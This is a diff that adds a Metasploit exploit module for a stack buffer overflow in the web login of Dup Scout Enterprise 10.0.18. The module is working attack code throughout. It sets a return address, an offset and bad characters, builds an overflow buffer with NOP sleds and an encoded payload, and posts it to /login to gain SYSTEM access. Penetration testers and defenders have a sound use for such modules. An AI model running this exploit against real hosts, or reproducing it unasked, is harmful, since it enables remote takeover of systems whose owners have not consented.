|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Dup Scout Enterprise Login Buffer Overflow', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits a stack buffer overflow in Dup Scout Enterprise |
| 16 | + 10.0.18. The buffer overflow exists via the web interface during |
| 17 | + login. This gives NT AUTHORITY\SYSTEM access. |
| 18 | + }, |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'Chris Higgins', # msf Module -- @ch1gg1ns |
| 23 | + 'sickness' # Original discovery |
| 24 | + ], |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'EDB', '43145' ] |
| 28 | + ], |
| 29 | + 'DefaultOptions' => |
| 30 | + { |
| 31 | + 'EXITFUNC' => 'thread' |
| 32 | + }, |
| 33 | + 'Platform' => 'win', |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d" |
| 37 | + }, |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + [ 'Dup Scout Enterprise 10.0.18', |
| 41 | + { |
| 42 | + 'Ret' => 0x10090c83, # jmp esp - libspp.dll |
| 43 | + 'Offset' => 780 |
| 44 | + } |
| 45 | + ], |
| 46 | + ], |
| 47 | + 'Privileged' => true, |
| 48 | + 'DisclosureDate' => 'Nov 14 2017', |
| 49 | + 'DefaultTarget' => 0)) |
| 50 | + |
| 51 | + register_options([Opt::RPORT(80)]) |
| 52 | + |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + res = send_request_cgi({ |
| 57 | + 'uri' => '/', |
| 58 | + 'method' => 'GET' |
| 59 | + }) |
| 60 | + |
| 61 | + if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/ |
| 62 | + return Exploit::CheckCode::Appears |
| 63 | + end |
| 64 | + |
| 65 | + return Exploit::CheckCode::Safe |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + connect |
| 70 | + |
| 71 | + print_status("Generating exploit...") |
| 72 | + |
| 73 | + evil = rand_text(target['Offset']) |
| 74 | + evil << [target.ret].pack('V') |
| 75 | + evil << make_nops(12) |
| 76 | + evil << payload.encoded |
| 77 | + evil << make_nops(10000 - evil.length) |
| 78 | + |
| 79 | + vprint_status("Evil length: " + evil.length.to_s) |
| 80 | + |
| 81 | + sploit = "username=" |
| 82 | + sploit << evil |
| 83 | + sploit << "&password=" |
| 84 | + sploit << rand_text(evil.length) |
| 85 | + sploit << "\r\n" |
| 86 | + |
| 87 | + print_status("Triggering the exploit now...") |
| 88 | + |
| 89 | + res = send_request_cgi({ |
| 90 | + 'uri' => '/login', |
| 91 | + 'method' => 'POST', |
| 92 | + 'content-type' => 'application/x-www-form-urlencoded', |
| 93 | + 'content-length' => '17000', |
| 94 | + 'data' => sploit |
| 95 | + }) |
| 96 | + |
| 97 | + handler |
| 98 | + disconnect |
| 99 | + |
| 100 | + end |
| 101 | +end |
0 commit comments